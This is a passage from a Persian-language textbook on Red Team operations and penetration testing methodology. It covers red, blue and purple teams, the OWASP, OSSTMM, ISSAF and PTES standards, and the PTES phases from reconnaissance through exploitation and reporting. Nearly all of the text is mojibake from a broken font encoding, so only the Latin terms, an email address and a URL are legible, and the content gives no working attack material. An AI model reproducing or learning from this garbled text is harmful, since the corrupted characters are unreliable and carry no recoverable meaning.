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 سخٌي تا خَاًٌذگاى
ٗجحض . ضٝز ق٘بض ٗي ١ب ثؿشط ٜٗبؾت ٝ ذٞثي ثطای كؼبٓيز ٝ ػٞلاٙ ٛلٞشُطاٙ ث٠ اٗطٝظٟ ٗحيٍ قج٠ٌ

َٞض  ضا ث٠ اٜٗيز، ٗٞيٞػي ٛيؿز ٠ً ثب ً٘ي ٗحبكظز ٝ اؾشلبزٟ اظ ثطذي سؼ٢يعار اٜٗيشي ثشٞاٙ آٙ
قٞز.  طا اٜٗيز ًبٗلاً ٛؿجي اؾز ٝ ١ط ضٝظ ث٠ ؾبذشبض١بی آٙ ايبك٠ ٗيؾبظی ًطز، ظي ًبْٗ ديبزٟ

١ب ٛساضٛس ٝ  ؾبظی قج٠ٌ ٗشأؾلب٠ٛ ثطذي ٗسيطاٙ ٝ ٗشرههبٙ قج٠ٌ، اَلاػبر ًبكي زض ذهٞل اٗٚ
١ب ٝ  قٞز سب س٘بٗي َطاحي ًٜٜس. ١٘يٚ ٗٞيٞع ثبػض ٗي ثب زيس ًبٗلاً اثشسايي ثب آٙ ثطذٞضز ٗي

ٛٞيؿي ثسٝٙ زض ٛظط ُطكشٚ انّٞ ٝ اؾشبٛساض١بی  زض ؾُح قج٠ٌ ٝ ثطٛب١٠ٗب  ١بی آٙ ؾبظی ديبزٟ
١ب سحز  ٓحظ٠ س٘بٗي اَلاػبر حؿبؼ ٝ ٢ٖٗ آٙزض يي  ١٘يٚ زٓيْ ٌٗ٘ٚ اؾز اٜٗيشي نٞضر ُيطز. ث٠
زؾز  رطة هطاض ُطكش٠ ٝ ١طچ٠ ضا ٠ً زض َّٞ ؾبٓيبٙ َٞلاٛي ث٠ُٗ اكعاض١بی سأطيط ٢ٗبػ٘بٙ ٝ ٛطٕ

 اٛؼبٕ ثب اٜٗيز اكعايفػ٢ز  Red Teamٗل٢ٕٞ  ،. زض ايٚ ٗيبٙضٟ اظ زؾز ثس١ٜسثب اٛس، ث٠ يي آٝضزٟ
 اؾشلبزٟ ؾيؿشٖ ٝ قج٠ٌ ١بی یدصيط آؾيت قٜبؾبيي ٜٗظٞض ث٠ ،ؾبظٗبٙ ث٠ قسٟ ؾبظی قجي٠ ح٘لار

ٗلب١يٖ  ثب ١سف اظ سأٓيق ايٚ ًشبة زض ٗطح٠ٔ اّٝ آقٜبيي ثيكشط ًبضقٜبؾبٙ ٝ ٗشرههبٙ. قٞز ٗي
آقٜب ١ب  ًبضی ايٚ ٛٞع سيٖ ١ب ١طچ٠ ثيكشط ثب انّٞ سب آٙ، اؾز ٛلٞش ٗع ٝ آظٗبيف١بی هط انٔي سيٖ

سٞاٙ  ٗي آٗٞظز ٠ً چ٠ِٛٞ ١بی ايٚ ًشبة ث٠ ًبضقٜبؾبٙ ٝ ٗشرههبٙ ٗي زض ٝاهغ ضٝٛس كهْ. قٞٛس
زض ًطز.  ؾبظی اٛساظی ٝ ديبزٟ ضاٟضا  ١ب ٗجشٜي ثط ايٚ ٛٞع سيٖ ًبْٗ ٛلٞش ِبٟآظٗبيكسيٖ هطٗع ٝ  يي

 ُيطز. ٗٞضز ثطضؾي هطاض ٗي ١ب ٝ اثعاض١بی ايٚ حٞظٟ ٠ٗ ٛحٟٞ ًبض ايٚ ٛٞع سيٖزاا

ايٜؼبٛت ث٠ ػٜٞاٙ ػًٞ ًٞچٌي اظ ذبٛٞازٟ ثعضٍ اٜٗيز ٝ قج٠ٌ زضنسز ُطزآٝضی ٝ سأٓيق ًشبثي 
 ١بی آظٗبيفزض ظٗي٠ٜ حٞظٟ اٜٗيز  ٙ، زاٛكؼٞيبٙ ٝ ٗسيطاٙبٜٗظٞض اكعايف آُب١ي ٗشرهه ث٠ٗطػغ 
١ب ٝ اثعاض١بی ٗشساّٝ ٝ  ٝ ؾبذشبض ايٚ ٛٞع سيٖ ضا ثب انّٞ كّٜي١ب  ثٞزٕ سب آٙهطٗع  ١بی سيٖ ٛلٞش ٝ

 ،ٙ اٜٗيز قج٠ٌ حٌُٖ اؾبسيس ايٜؼبٛت ضا زاضٛسب)ُطچ٠ ٗسيطاٙ ٝ ٗشرههٝ  ؾبظٕ آقٜب١ب  ٗؼّ٘ٞ آٙ
 .(ؾبظی ضا اٛؼبٕ ز١ٖ اّٗب ث٠ حٌُٖ ٝظيل٠ ثطذٞز لاظٕ زاٛؿشٖ ٠ً ايٚ آُبٟ

ٛلٞش،  ١بی آظٗبيفحٞظٟ  ١ب ٝ ٜٗبثغ ٗؼشجط ٝ اؾشبٛساضز يط ثطُطكش٠ اظ ًشبةًشبة حبقيطاظٟ انٔي 
ثبقس  ٗي آٙزاضی اظ  اٛساظی ٝ ث٢طٟ ١بی ضاٟ ٝ ٌٗبٛيعٕ ضِز سي١ٖبی ٛلٞشُطی ثطدبي٠ ؾبذشبض١بی  سٌٜيي

آظاز اظ ُٗبٓت ٝ سؼطثيبر  كطٕ ًبٗلاً ٠آٗيرش٠ قسٟ اؾز، ٠ً ثايٚ ذهٞل ٠ً ثب سؼطثيبر ايٜؼبٛت زض 
دصيطٕ ٝ  ضا ٗي ١بی آٙ ديكبديف س٘بٕ ًبؾشي. طزآٝضی، ٝ زذْ ٝ سهطكي ٛيع ثب آٙ ١٘طاٟ ثٞزٟ اؾزُ

١بی زٓؿٞظا٠ٛ  ب ٝ ضا١ٜ٘بيي١زاٛكؼٞيبٙ ٝ ٗسيطاٙ ػعيع، اٛشوبزٗشرههبٙ، ي٘ٚ دٞظـ اظ اؾبسيس، 
 .١ب ضا ث٠ زيسٟ ّٜٗز دصيطا ١ؿشٖ آٙ

( majid.davari.d@gmail.com ) 
ث٠ زضُبٟ دطٝضزُبض اظ س٘بٕ زٝؾشبٙ ٝ اؾبسيس ػعيعی ٠ً ٢ٗطثبٛب٠ٛ زؾز ٗطا  دؽ اظ ؾذبؼ ٝ ؾشبيف

 ًٜٖ. ٌٜبض ٛبچيع ككطزٛس، سكٌط ٗيزض اٛؼبٕ اي
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ٝ س٘بٗي ١ٌ٘بضاٛكبٙ ی ٢ٜٗسؼ يؼؿٞثي بآه  ػٜبةدٜساض دبضؼ  زض دبيبٙ اظ ٗسيطيز كطظا٠ٛ اٛشكبضار
 ٛ٘بيٖ. اٛس، ن٘ي٘ب٠ٛ هسضزاٛي ٗي ٠ً ظح٘ز چبح ًشبة ضا ٗشوجْ قسٟ

 ؿٜ٘بًٖ ٝ اظ ًٞی سٞ ثب ؿٖ ٛطٕٝ

 ػع قبز ٝ اٗيسٝاض ٝ ذطٕ ٛطٕٝ                                                 

 اظ زض٠ُ ١٘چٞٙ سٞ ًطي٘ي ١طُع

  ٛٞٗيس ًؿي ٛطكز ٝ، ٗٚ ١ٖ ٛطٕٝ                                                 

 
 

                                                  
 

                                                  

 (1401ث٢بض  -ؾيسٟ د٠ٛٞ ٗطسًٞيبٙ  – ) ٗؼيس زاٝضی زٝٓز آثبزی                                      

 






 

 نخست فصل
Red Team (تين قرهس) 

 

 

ٗذيٞسطی اؾز ٠ً ٗؼ٘ٞلاً ثطای اضظيبثي اٜٗيز يي ح٠ٔ٘ ٗؼبظ ث٠ يي ؾيؿشٖ ًب ،ٛلٞش آظٗبيف
١ب اٛؼبٕ  ١ب ٝ ذُطار آٙ دصيطی قٞز. ايٚ آظٗبيف ثطای قٜبؾبيي آؾيت ؾيؿشٖ/قج٠ٌ اٛؼبٕ ٗي

آؿبظ ٝاهؼي ػهط اٜٗيز اَلاػبر ٝ ًبٗذيٞسط ثٞزٟ اؾز. زض  1960زاٛيس ز٠١  َٞض ٠ً ٗي قٞز. ١٘بٙ ٗي
قٞز ٝ ١٘چٜيٚ  َٞض ُؿشطزٟ اؾشلبزٟ ٗي ٞش ضا ٠ً ث٠ٛل ١بی آظٗبيف قٜبؾي ٌٗبٛيعٕ ايٚ كهْ، ضٝـ

١بی ٗرشٔق زض حبّ اٛؼبٕ اؾز، دٞقف ذٞا١يٖ زاز. زض ايٚ  ضٝيٌطز سيٖ هطٗع، ٠ً اًٜٞٙ زض قطًز
 دطزاظيٖ: كهْ ث٠ ٗٞيٞػبر ًٔي ظيط ٗي

 101ٛلٞش  آظٗبيف 
 ضٝيٌطز١بی ٗشلبٝر زيِط 

 دطزاظيٖ. هطٗع ٗي اظ ثطضؾي ٗٞيٞػبر ًٔي شًط قسٟ ث٠ ثيبٙ ٗل٢ٕٞ سيٖ ديف

 لشهض ٍ تفاٍت آى تا تين آتي تينهفَْم  1-1
ؾبظی  ٜٗظٞض قجي٠ ٙ اٜٗيز اَلاػبر ٝ قج٠ٌ ١ؿشٜس ٠ً ث٠بُط١ٝي اظ ٗشرهه( Red Team) سيٖ هطٗع

سٞاٜٛس ثب  ١ب ٗي قٞٛس. ؾبظٗبٙ ١بی ًبٗذيٞسطی ُطز ١ٖ ػ٘غ ٗي ح٘لار ٝاهؼي ثط ضٝی ؾيؿشٖ
٢ٗبػ٘بٙ اظ  يي ٠ً ٗؼ٘ٞلا١ًب ضٝـ ٝ ١ب س٘طيٚ سساثيط اٜٗيشي، سٌٜيي ؾبظی ح٘لار زٛيبی ٝاهؼي ٝ قجي٠

ػ٘ٔيبر سيٖ هطٗع زض ٝاهغ قبْٗ اػطای . ثطٛس، ذٞز ضا ثطای ح٘لار ٝاهؼي آٗبزٟ ؾبظٛس ١ب ث٢طٟ ٗي آٙ
ز١ي ث٠ ايٚ  ًكيسٙ سٞاٛبيي ؾبظٗبٙ زض دبؾد  ؾبظی قسٟ ٝ ث٠ چبٓف ح٘لار ديچيسٟ ٝ دبيساض قجي٠

١ب َطاحي قسٟ سب ثيٜف ٗٞضز ٛيبظ  ١بی ؾبظٗبٙ َٞض ذبل ثطای ضكغ ِٛطاٛي ث٠ ٚ ضٝـؾز. ايب١س٢سيس
ؾبيجطی آُب١ب٠ٛ اؾز ٠ً  ػجبضر زيِط ػ٘ٔيبر سيٖ هطٗع يي ح٠ٔ٘ ث٠ًٜٜس.  ١ب ايؼبز اٜٗيشي ضا زض آٙ

١بی ١بيي ٠ً اظ سؼطثيبر ١ٌط ١ب ٝ سبًشيي ضيعی قسٟ ٝ ثب اؾشلبزٟ اظ كطآيٜس١ب، سٌٜيي نٞضر ثطٛب٠ٗ ث٠
قٞز. سيٖ هطٗع ثب يي ِٛبٟ ػبٗغ ٝ ٗجشٜي ثط  آٝضی قسٟ، اػطا ٗي ػ٘غ ١APTبی  ًلاٟ ؾيبٟ ٝ سيٖ

ز١س،  ديٞٛس ذُب١بی كطزی ٝ ؾيؿش٘ي ضخ ٗي ؾبيجطی ضا ٠ً ث٠ ٝاؾ٠ُ زٛيبی ٝاهؼي، ٗطاحْ يي ح٠ٔ٘
 .١ب سطؾيٖ ٝ اػطا ذٞا١س ًطز ثطای ؾبظٗبٙ

ٝ زهين )اٗب اذلاهي( ٗؿيط ؾيؿش٘ي اٗي ثطای قٜبؾبيي ث٠ اهس Red Teamingسٞاٙ ُلز،  زض ٝاهغ ٗي
١بی ح٠ٔ٘ زض زٛيبی ٝاهؼي، اظ زكبع اٜٗيشي ؾبظٗبٙ ػجٞض  قٞز ٠ً اظ َطين سٌٜيي ح٠ٔ٘ ُلش٠ ٗي

اثعاض ٝ ، ١بی ٛظطی ١بی ؾبظٗبٙ ثطٗجٜبی هبثٔيز ًٜس. ثب اسربش ايٚ ضٝيٌطز س٢بػ٘ي، زكبع ٗي
. زٛيبی ٝاهؼي اؾز ١بی١ب زض حًٞض س٢سيس ٌٔطز ٝاهؼي آ١٘ٙبی اٜٗيشي ٛيؿز، ث٠ٌٔ ثطاؾبؼ ػ ؾيؿشٖ
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Red Teaming ١ب ٝ ثٔٞؽ قطًز زض ديكِيطی، قٜبؾبيي  يٌي اظ اػعای حيبسي زض اضظيبثي زهين هبثٔيز
 .ٝ انلاح اؾز

قسٟ اؾشلبزٟ  ؾبظی يي سٌٜيي اضظيبثي اٜٗيز ؾبيجطی اؾز ٠ً اظ ح٘لار قجي٠ ،سيٖ هطٗع ٝ آثي س٘طيٚ
١بيي ٠ً ٛيبظ ث٠ ث٢جٞز زاضٛس ضا زض  ١بی اٜٗيشي ؾبظٗبٙ ضا ثؿٜؼس ٝ حٞظٟ عاٙ هسضر هبثٔيزًٜس سب ٗي ٗي

١بی آٗٞظـ ٛظبٗي َطاحي  ١ب ٠ً ثطاؾبؼ س٘طيٚ ايٚ س٘طيٚ. ٗحيُي ثب ضيؿي دبييٚ قٜبؾبيي ٛ٘بيس
ايٚ  .ای آٗٞظـ زيسٟ زض اٜٗيز ؾبيجطی ١ؿشٜس ای ثيٚ زٝ سيٖ ٗشكٌْ اظ اكطاز حطك٠ اٛس، ٗوبث٠ٔ قسٟ
ًٜس سب ٗحيٍ ضا  ١بی ٢ٗبػ٘بٙ زض زٛيبی ٝاهؼي اؾشلبزٟ ٗي ٠ً اظ ضٝـ اٛس اظ: سيٖ هطٗع ١ب ػجبضر سيٖ

ز١ٜسُبٙ ث٠ حبزط٠، ٠ً زض يي ٝاحس اٜٗيشي ًبض  ٗشكٌْ اظ دبؾد، زچبض ٛوى اٜٗيشي ًٜس ٝ سيٖ آثي
ی سيٖ هطٗع ٝ ١ب ؾبظی قجي٠. ١ب دبؾد ز١ٜس ًٜٜس سب ٛلٞش١ب ضا قٜبؾبيي ٝ اضظيبثي ًطزٟ ٝ ث٠ آٙ ٗي

ٝؾيؼي اظ ح٘لار ؾبيجطی اظ ٢ٗبػ٘بٙ  ٛوف ٢ٗ٘ي ضا زض زكبع اظ ؾبظٗبٙ زضٗوبثْ ُؿشطٟآثي، 
ػٜٞاٙ يي ٢ٗبػٖ ػْ٘  سيٖ هطٗع ث٠، ؾبظی اٜٗيز ؾبيجطی زض يي قجي٠. ًٜٜس ٗي ايلبی اٗطٝظ ديچيسٟ

ؼق احش٘بٓي زض زكبع ؾبيجطی ٛوبٌ ي، ح٠ٟٔ٘ ديچيسی ١ب ًٜس ٝ ؾؼي زاضز ٠ً ثب اؾشلبزٟ اظ سٌٜيي ٗي
١بی ٢ٗبػٖ ٗؼ٘ٞلاً قبْٗ ٗشرههبٙ  ١ب ؾٞءاؾشلبزٟ ًٜس. ايٚ سيٖ ؾبظٗبٙ ضا قٜبؾبيي ٝ اظ آٙ

١بی ح٘لار زض زٛيبی  ١ب ٝ ضٝـ ؼطة يب ١ٌط١بی اذلاهي ٗؿشوْ ١ؿشٜس ٠ً ثب سؤيس اظ سٌٜييُٗ اٜٗيشي
 .ًٜٜس ٗي س٘طًع ٛلٞش آظٗبيف ضٝی ٝاهؼي

١بی ٢ٜٗسؾي اػش٘بػي،  ظ َطين ؾطهز اَلاػبر اػشجبضی ًبضثطاٙ يب سٌٜييا ٗؼ٘ٞلاً سيٖ هطٗع
ء سيٖ هطٗع ٝاضز قج٠ٌ قس، ؾُح زؾشطؾي ذٞز ضا اضسوب٠ً  . ظٗبٛيآٝضز زؾز ٗي زؾشطؾي اٝٓي٠ ضا ث٠

ًٜس سب ثشٞاٛس سب ػبی ٌٗ٘ٚ ٝاضز ػ٘ن قج٠ٌ قسٟ ٝ  ١ب حطًز ٗي زض ؾيؿشٖ نٞضر ػبٛجي زازٟ ٝ ث٠
ٛوف س٢بػ٘ي سيٖ هطٗع  اُط. ٛ٘بيس ١بيي ضا اؾشرطاع زازٟ، ًٜس بؾبيي قسٙ اػشٜبة ٗي٠ً اظ قٜ زضحبٓي

ٛوف زكبػي زاضز. ٗؼ٘ٞلاً ايٚ ُطٟٝ قبْٗ ٗكبٝضاٙ دبؾد ث٠ حبزط٠ اؾز ٠ً سيٖ ، سيٖ آثي ضا ايلب ًٜس
ح٘لار ؾبيجطی ٝ  ًٜس ٠ً ثطای ٗشٞهق ًطزٙ اٛٞاع ديچيسٟ ضا ضا١ٜ٘بيي ٗيكٜبٝضی اَلاػبر  اٜٗيز

 ٗؿئّٞ ايٚ اؾز ٠ً اظ قج٠ٌكٜبٝضی اَلاػبر،  ؾذؽ سيٖ اٜٗيز. ز١س س٢سيسار چ٠ ث٢جٞز١بيي ضا اٛؼبٕ
 .ًٜس ٗحبكظزذُطار  زاذٔي زض ٗوبثْ اٛٞاع ٗرشٔلي اظ

ًٜٜس.  اؾز ٠ً ثب يٌسيِط ١ٌ٘بضی ٗيسيٖ هطٗع ٝ آثي  ٝاهغ زض، ٛبٕ زاضز 1سي٘ي ٠ً انُلاحبً سيٖ ثٜلف
 ُصاضٛس سب اٜٗيز ًٔي ؾبظٗبٙ ضا ث٢جٞز ١ب ضا ثب يٌسيِط ث٠ اقشطاى ٗي ف١ب اَلاػبر ٝ ثيٜ ايٚ سيٖ
زهيوي   ٛس١ٜس ٝ ُعاضـاضائ٠  ١ب اُط ١ط زٝ سيٖ دؽ اظ ١ط سؼبْٗ سٞييحبر ًبٗٔي ث٠ س٘بٕ شيٜلغ. ثركٜس

١ب ٝ زيِط  دصيطی ٛوبٌ زؾشطؾي، آؾيتٛلٞش،  ی آظٗبيف١ب اظ س٘بٕ ػٞاٛت كؼبٓيز اظ ػ٠ٔ٘ سٌٜيي
١ب ضا دط ًطزٟ ٝ  َٞض ًبضآٗسی قٌبف ث٠سب  سٜث٠ ؾبظٗبٙ ً٘ي ًٌٜٜٜٛس ٠ً ذهٞل اضائ٠  ٠اَلاػبر ث

 .سٞػ٢ي ٛرٞا١ٜس زاقز اضظـ هبثْی سيٖ هطٗع ٝ آثي ١ب ١بی ذٞز ضا سوٞيز ًٜس، س٘طيٚ زكبع

                                                 
1 Purple Team 
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بی ٗرشٔلي ٗبٜٛس ًٜس. اؾشبٛساضز١ ٛلٞش اظ يي اؾشبٛساضز ديطٝی ٗي زاٛيس، آظٗبيف َٞض ٠ً ٗي ١٘بٙ

(، OSSTMM(، ضا١ٜ٘بی انّٞ آظٗبيف اٜٗيز ًس١بی ثبظ )OWASPثبظ ) ١بی ٝة دطٝغٟ اٜٗيشي ثطٛب٠ٗ
 ثيكشط( ٝ ؿيطٟ زض ايٚ حٞظٟ ٝػٞز زاضٛس. ١ISSAFبی اَلاػبسي ) چبضچٞة اضظيبثي اٜٗيز ؾيؿشٖ

١بی ثؼسی ث٠ ١ط  ثرف ُصاضی كبظ١ب ٗشلبٝر اؾز. زض ًٜٜس، اٗب ٛبٕ ١ب اظ ضٝـ يٌؿبٛي ديطٝی ٗي آٙ
َٞض ٗلهْ  ( ضا ثPTES٠ٛلٞش ) ١ب ِٛب١ي ذٞا١يٖ اٛساذز ٝ اؾشبٛساضز١بی اػطای آظٗبيف يي اظ آٙ

 دٞقف ذٞا١يٖ زاز.

 (OWASPتاص ) ّاي ٍب پشٍطُ اهٌيتي تشًاهِ 1-2-1
اكعاض س٘طًع  ؿيطاٛشلبػي زض ؾطاؾط ػ٢بٙ اؾز ٠ً ثط ث٢جٞز اٜٗيز ٛطٕ يي ؾبظٗبٙ، OWASPدطٝغٟ 

اكعاض ٝ اؾٜبز ٗجشٜي ثط زاٛف ضا  ای اظ ٗشرههبٙ ١٘لٌط اؾز ٠ً ٛطٕ ػبٗؼ٠دطٝغٟ قبْٗ  ايٚ. اضزز
 قٞٛس: ر ظيط ضا قبْٗ ٗيٗٞيٞػبزض حبٓز ًٔي  ٝ ًٜٜس زض ٗٞضز اٜٗيز ثطٛب٠ٗ ٜٗشكط ٗي

 آٝضی اَلاػبر ػ٘غ 
  ٗسيطيز ديٌطثٜسی ٝ اؾشوطاضآظٗبيف 
  ١ٞيز ٗسيطيزآظٗبيف 
  احطاظ١ٞيزآظٗبيف 
 ١ب ز١يٗؼٞظيف آظٗب 
 ١ب آظٗبيف ٗسيطيز ٛكؿز 
  ٝضٝزی اػشجبضؾٜؼيآظٗبيف 
 ١بضؾيسُي ث٠ ذُب 
 ضٗعِٛبضی 
  ًبض ٝ ًؿت ُٜٗنآظٗبيف 
  ٗكشطی ؾ٘زآظٗبيف 

 (OSSTMMساٌّواي اغَل آصهايص اهٌيت وذّاي تاص ) 2-2-1
ظٗبيف ٝ ؾبيز ضؾ٘ي ايٚ ضا١ٜ٘ب شًط قسٟ اؾز، ايٚ ًشبثچ٠، زض ٝاهغ ضا١ٜ٘بی آ ٝةَٞض ٠ً زض  ١٘بٙ

اَلاػبر ػ٘ٔي ضا اضائ٠  ،ز١س. ايٚ حوبين سؼعي٠ ٝ سحٔيْ اٜٗيشي اؾز ٠ً حوبين سأييس قسٟ ضا اضائ٠ ٗي
 ١OSSTMMب ضا ث٢جٞز ثركس.  ُيطی اٜٗيز ػ٘ٔيبسي ؾبظٗبٙ َٞض هبثْ اٛساظٟ سٞاٛس ث٠ ز١ٜس ٠ً ٗي ٗي

 ١بی ًٔيسی ظيط اؾز: قبْٗ ثرف

 ػ٘ٔيبسي اٜٗيشي ٗؼيبض١بی 
 سحٔيْ اػش٘بز 
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 ًٙبض ػطيب 
  اٜٗيز اٛؿبٛيآظٗبيف 
  كيعيٌي اٜٗيزآظٗبيف 
  ؾيٖ ثي اٜٗيزآظٗبيف 
  يٗربثطاس١بی  اضسجبَبر قج٠ٌ اٜٗيزآظٗبيف 
  زازٟ ی ١ب اٜٗيز قج٠ٌآظٗبيف 
 ز١ي ثب ٌٗبٛيعٕ  ُعاضـSTAR1 

 (ISSAFّاي اعلاػاتي ) چاسچَب اسصياتي اهٌيتي سيستن 3-2-1
ISSAFاضائ٠ قسٟ ًبٗلاً ػبٗغ اؾز. ١سف آٙ اضظيبثي ؾيبؾز ٝ  ، چٜساٙ كؼبّ ٛيؿز، اٗب ضا١ٜ٘بی

اَلاػبر،  كطآيٜس اٜٗيز اَلاػبر يي ؾبظٗبٙ ثب سٞػ٠ ث٠ اُٛجبم آٙ ثب اؾشبٛساضز١بی نٜؼز كٜبٝضی
هبٓت آزضؼ  ز١س، زض ١٘طاٟ ثب هٞاٛيٚ ٝ آعاٗبر ٛظبضسي اؾز. ٗطاحٔي ٠ً ايٚ چبضچٞة دٞقف ٗي

URL :ظيط اضائ٠ قسٟ اؾز 

https://wiki.owasp.org/index.php/Penetration_testing_methodologies 

 (PTESًفَر ) استاًذاسد اجشاي آصهايص 4-2-1
ٛلٞش اؾز ٝ سوطيجبً ١ط ؾبذشبضی ٠ً  ايٚ اؾشبٛساضز دطًبضثطزسطيٚ اؾشبٛساضز زض حٞظٟ اػطای آظٗبيف

ٗطح٠ٔ ظيط سوؿيٖ ث٠ ١لز  PTESز١س.  ٛلٞش اؾز ضا دٞقف ٗي ١بی آظٗبيف ٗطثٌٞ ث٠ ٌٗبٛيعٕ
 قٞز: ٗي

 . اهساٗبر اػطايي هجْ اظ اٛؼبٕ ػ٘ٔيبر:1

٠ً ثطذي اظ  اظ قطٝع يي كؼبٓيز اٛؼبٕ قٞز ديفايٚ اهساٗبر قبْٗ كطآيٜس١بی ٗشؼسزی اؾز ٠ً ثبيس 
، قج٠ٌ ١IPبی  آزضؼ اظ ثطزاضی ٗبٜٛس سؼطيق ٗحسٝزٟ كؼبٓيز، ٗؼ٘ٞلاً قبْٗ ٛوك٠ايٚ ٗٞاضز 

ذٌُٞ ٗكرم ُطزيس،  ٠ً ٗحسٝزٟ ١ِٜبٗي. ؾيٖ ٝ ؿيطٟ اؾز ثي  ی١ب قج٠ٌ، ًبضثطزی ٝة ی١ب ثطٛب٠ٗ
ايٚ سؼبٗلار ١٘چٜيٚ ُطزز.  ايؼبز ٗي ٢ٛبيي ُعاضـ قٞز ٝ كطآيٜس ٗي اضسجبَي ثيٚ كطٝقٜسُبٙ ثطهطاض

 .كطآيٜس١بی هبٛٞٛي ٝ سبضيد قطٝع ٝ دبيبٙ دطٝغٟ اؾز١ب،  ضٝظضؾبٛي ٝيؼيز، كطاذٞاٛي ث٠ قبْٗ

 لاػبر:آٝضی اَ . ػ٘غ2

آٝضی ١طچ٠ ثيكشط اَلاػبر زض ظٗي٠ٜ ١سف ٗٞضز اؾشلبزٟ هطاض  ايٚ كطآيٜسی اؾز ٠ً ثطای ػ٘غ
ٛلٞش اؾز، ظيطا ١طچ٠ اَلاػبر ثيكشطی زض ايٚ  سطيٚ ثرف ػ٘ٔيبر آظٗبيف ُيطز. ايٚ هؿ٘ز ٢ٖٗ ٗي

ی ًطز. ضيع سٞاٙ ثطای اٛؼبٕ كؼبٓيز ثطٛب٠ٗ ذهٞل ٝػٞز زاقش٠ ثبقس، ثطزاض١بی ح٠ٔ٘ ثيكشطی ٗي

                                                 
1 Security Test Audit Report 
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ٛلٞش هطاض  زضنٞضر كؼبٓيز زض حبٓز ػؼج٠ ؾليس، س٘بٕ ايٚ اَلاػبر اظ هجْ زض اذشيبض سيٖ آظٗبيف
 ُطكش٠ اؾز.

 ؾبظی س٢سيس: . ٗس3ّ

سٞاٙ كؼبٓيز ضا  ٗي، ثؿش٠ ث٠ آٙ. آٝضی قسٟ ثؿشِي زاضز ث٠ ٗوساض اَلاػبر ػ٘غ ،ؾبظی س٢سيس ٗسّ
 ٛ٘ٞزاض. اٛؼبٕ زازذٞزًبض، ح٘لار ُٜٗوي ٝ ؿيطٟ ضا  ض١بیًطز ٝ ؾذؽ ثب اؾشلبزٟ اظ اثعاثٜسی  سوؿيٖ
 .ز١س ٗي ای اظ ٛوك٠ ش١ٜي يي ٗسّ س٢سيس ضا ٛكبٙ ٠ٛٞ٘ٛ(، 1-1قٌْ )

 
 اي اص ًمطِ رٌّي يه هذل تْذيذ ًوًَِ( 1-1ضىل )
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 دصيطی: . آٛبٓيع آؾيت4

 ب١ٚ ايطازاي. قٞز سٞاٛس سٞؾٍ يي ٢ٗبػٖ اؾشلبزٟ يي كطآيٜس ًكق ٛوم اؾز ٠ً ٗي، ؾبظًٝبض ايٚ
ضا قبْٗ  SQL اظ ديٌطثٜسی اقشجبٟ دٞضر/ؾطٝيؽ ثبظ سب سعضينای ثبقس ٠ً  ظٗي٠ٜ ١طزض  سٞاٛس ٗي
. ًٜس ً٘ي١ب  یدصيط سٞاٛس ث٠ اٛؼبٕ سؼعي٠ ٝ سحٔيْ آؾيت ٝػٞز زاضز ٠ً ٗيی ثؿيبضی اثعاض١بقٞز.  ٗي

 ثبقٜس. ٗي Nmap ،Acunetix ٝ Burp Suiteثطذي اظ ايٚ اثعاض١ب قبْٗ 

 (:Exploitationثطزاضی ) ٘ٔيبر ث٢طٟ. ػ5

١سف  حلبظشي ثط ضٝی١بی ؾبظًٝبضكطاض اظ ايٚ كطآيٜس ػ٢ز زضيبكز زؾشطؾي ث٠ ؾيؿشٖ اظ َطين 
 Zero Dayكطٕ  ث٠ يبسٞاٜٛس ػ٘ٞٗي  ٗي Exploitقٞز. ًس١بی  ی اٛؼبٕ ٗيدصيط ثطاؾبؼ اضظيبثي آؾيت

 .ثبقٜس

 (:Post-exploitationثطزاضی ) . ػ٘ٔيبر دؽ اظ ث٢ط6ٟ

 ٝزؾز آٗسٟ  ، كطآيٜسی اؾز ٠ً زض آٙ ١سف ايؼبز دبيساضی زض ذهٞل زؾشطؾي ث٠ؾبظًٝبض ايٚ
١بی  اظ سٌٜيي ثبيسكطآيٜس  ايٚ. زض س٘بٗي ٗطاحْ اؾز ؾذؽ حلظ زؾشطؾي ثطای اؾشلبزٟ زض آيٜسٟ

 ث٢طٟ ُطكز. دٞقفؾبظی ؾيؿشٖ ٗجساء ٝ ٗؿيط اضسجبَي ػ٢ز  ٝ د٢ٜبٙ ٗحبكظز

 ؾبظی . ُعاضـ7

١بی اٜٗيشي، س٘بٗي  ضٝظضؾبٛي ٝ ٛهت ٝن٠ٔ ، ظيطا انلاح، ث٠يٌي اظ ٢ٗ٘شطيٚ ٗطاحْ اؾزٚ ٗطح٠ٔ، اي
 ٗطاحْ چطذ٠ ػ٘ط، ذلان٠ َٞض ث٠. ًبٗلاً ث٠ ػعئيبر اضائ٠ قسٟ زض ُعاضـ ثؿشِي زاضزؾبذشبض١ب 

 .اضائ٠ قسٟ اؾز( 1-2قٌْ ) ٛ٘ٞزاضٛلٞش زضهبٓت  آظٗبيف

 
 ًفَر آصهايص ػوش چشخِ هشاحل( ضوايي اص 1-2ضىل )

 سٍيىشد هتفاٍت ديگش 3-1
سٞاٙ ٗٞضز ثحض هطاض  َٞض ٠ً زض اثشسای كهْ سٞييح زازٟ قس، يي ضٝيٌطز ٗشلبٝر زيِط ٠ً ٗي ١٘بٙ

زؾز آٝضزٙ ؾُح ٝاهؼي ذُطار يي  زاز، ؾبذشبض سيٖ هطٗع اؾز. ١سف انٔي سيٖ هطٗع، اضظيبثي ٝ ث٠
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١بی حلبظز  ًبضثطزی، ضٝاّ ١بی ١ب، ثطٛب٠ٗ ز، قج٠ٌقطًز زض آٙ ٓحظ٠ اظ ظٗبٙ اؾز. زض ايٚ كؼبٓي
ُيطٛس.  ٗٞضز آظٗبيف هطاض ٗي ،كيعيٌي ٝ ًبضثطاٙ )اظ زيسُبٟ ٢ٜٗسؾي اػش٘بػي( زض ٗوبثْ ٛوبٌ يؼق

 ؾبظی يي ١ي زض زٛيبی ٝاهؼي زض ٛظط ُطكز. سٞاٙ، قجي٠ سيٖ هطٗع ضا ٛيع ٗي

 ضٌاسي سٍش 1-3-1
 ثيكشطی١بی  ؾبظًٝبض، حبّ ايٚ ثبًٜس.  ٗي ػْ٘ PTES ؾشبٛساضزثطاؾبؼ ا، ای دبي٠ قٌْ ث٠سيٖ هطٗع، 

ثب ١سف يبكشٚ ١طچ٠  ٛلٞش آظٗبيف سٞاٙ ُلز ٠ً كؼبٓيز ٗي. ثطای آٙ ٝػٞز زاضزٛيع زض ايٚ ذهٞل 
 سيٖ هطٗع س٢ٜب ثب يي ١سف ٝ ثب، حبّ ايٚ ثب. قٞز ٗي ١ب زض ٗسر ظٗبٙ ٗؼيٚ اٛؼبٕ یدصيط آؾيت ثيكشط
